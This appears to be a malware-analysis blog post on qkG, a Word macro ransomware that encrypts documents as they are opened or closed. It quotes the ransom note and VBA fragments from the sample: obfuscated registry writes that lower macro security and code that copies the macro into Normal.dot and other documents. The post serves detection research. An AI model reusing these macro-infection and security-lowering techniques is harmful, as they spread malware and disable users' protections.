qkG: Simple Malware, Tricky Ransomware
By Oleg Boyarchuk and Stefano Ortolani
When ransomware behavior is clearly exhibited, it is relatively easy for a sandbox or a personal A/V to assert detection; after all, in its simplest form, ransomware malware must at least: (1) search for files to be encrypted, and (2) overwrite those files with their encrypted representation. Lastline Labs’ Alexander Sevtsov covered a deep dive on ransomware behavior not so long ago in Ransomware: Too Overt to Hide. Nevertheless, when it comes to detecting ransomware targeting specific files, things might get a tad more complicated. This is the case of qkG, a malware (sha1=a9174fec5d81977eee9de2658a92fa9e4de76dd4) designed to infect documents and encrypt their content (our friends at TrendMicro did an excellent job outlining the encryption process and uncovering the encryption key in this report).
How it Works
Documents infected by qkG come with an embedded VBA script that gets executed when the document is opened (note that macros must be manually enabled for the malicious code to execute). The VBA includes the following ransom note (which, incidentally, is unique and thus a good candidate for a YARA signature):
Signature = "I'm QkG@PTM17! by TNA@MHT-TT2"
sInfo = "Send $300 to BTC Address: 14zA1NdTgtesLWZxtysLQQtsuKzjFbpydg" & vbCrLf & "Contact Email: firstname.lastname@example.org"
qkG infects the Normal.dot template file, resulting in any other document opened by the user to become infected. Obviously, in order to avoid suspicion, qkG immediately tries to lower the Microsoft Office security settings in order to both access the VBA object model and enable macros permanently:
System.PrivateProfileString("", "HKEY_CUR" + "RENT_USER\Sof" + "tware\Micros" + "oft\Off" + "ice\" & Ver & "\Wo" + "rd\Secu" + "rity", "Acces" + "sVBOM") = 1
System.PrivateProfileString("", "HKEY_CUR" + "RENT_USER\Sof" + "tware\Micros" + "oft\Off" + "ice\" & Ver & "\Wo" + "rd\Secu" + "rity", "VBAW" + "arnings") = 1
This is done via the System.PrivateProfileString property, which has the interesting feature of writing REG_SZ values rather than REG_DWORD. Unfortunately, a fact that the malware authors must have overlooked, Microsoft Word is not able to read REG_SZ values. This means that opening an infected document will always require the following two conditions to be met, regardless of what the code actually tried to achieve:
- The VBA object model must have been manually enabled by the user:
- Macros must be enabled every single time a document is opened.
Note that even if the malware fails to automatically enable macros, the Lastline sandbox still detects this attempt and reports it as “Lowering macro security” with a high score. If condition (1) is met, qkG infects Normal.dot with its own code:
Set NT = NormalTemplate.VBProject.VBComponents.Item(1)
If NTLines > 0 Then NT.CodeModule.DeleteLines 1, NTLines
NT.Name = "qkG"
NT.CodeModule.AddFromString ("Private Sub Document_Close()")
NT.CodeModule.InsertLines 2, AD.CodeModule.Lines(2, ADLines - 1)
The code inside Normal.dot is then used to infect any other document the user might open afterwards:
Set AD = ActiveDocument.VBProject.VBComponents.Item(1)
If ADLines > 0 Then AD.CodeModule.DeleteLines 1, ADLines
AD.Name = "qkG"
AD.CodeModule.AddFromString ("Private Sub Document_Open()")
AD.CodeModule.InsertLines 2, NT.CodeModule.Lines(2, NTLines - 1)
Generally speaking, modifying macro code via CodeModule.DeleteLines and CodeModule.InsertLines is a suspicious activity per-se, and it is in fact flagged as such by the Lastline static document analyzer. As we can see from the code itself, the actual infection happens when the document is closed (Document_Close()), showing how important is for a sandbox to faithfully replicate the activity of a real user.
A Peculiar Behavior
Every time a document is either opened or closed, the malware encrypts the whole text and prepends the following ransom note:
This is quite unique, and it deviates from the ransomware behavior we usually see in malware such as WannaCry or BadRabbit where all files matching a set of extensions get encrypted. In this case, encryption, and thus the actual ransomware behavior, is tied to what the user is doing, and in particular to what documents he/she opens. Any technique tailored to detect ransomware in the general case would just fail here.
The malware does not enumerate or modify other files; it only encrypts a file when the user opens it by replacing its content. Because of all these reasons, automatically detecting this behavior as ransomware can be challenging if only generic behavioral techniques are used. A much more effective approach is instead a combination of static and dynamic analysis aimed at detecting as many behaviors as possible, hunting for those even a bit suspicious like modifying the macro code or altering the template file.
Latest posts by Stefano Ortolani (see all)
- Evolution of Excel 4.0 Macro Weaponization - June 2, 2020
- InfoStealers Weaponizing COVID-19 - May 11, 2020
- Nemty Ransomware Scaling UP: APAC Mailboxes Swarmed by Dual Downloaders - February 18, 2020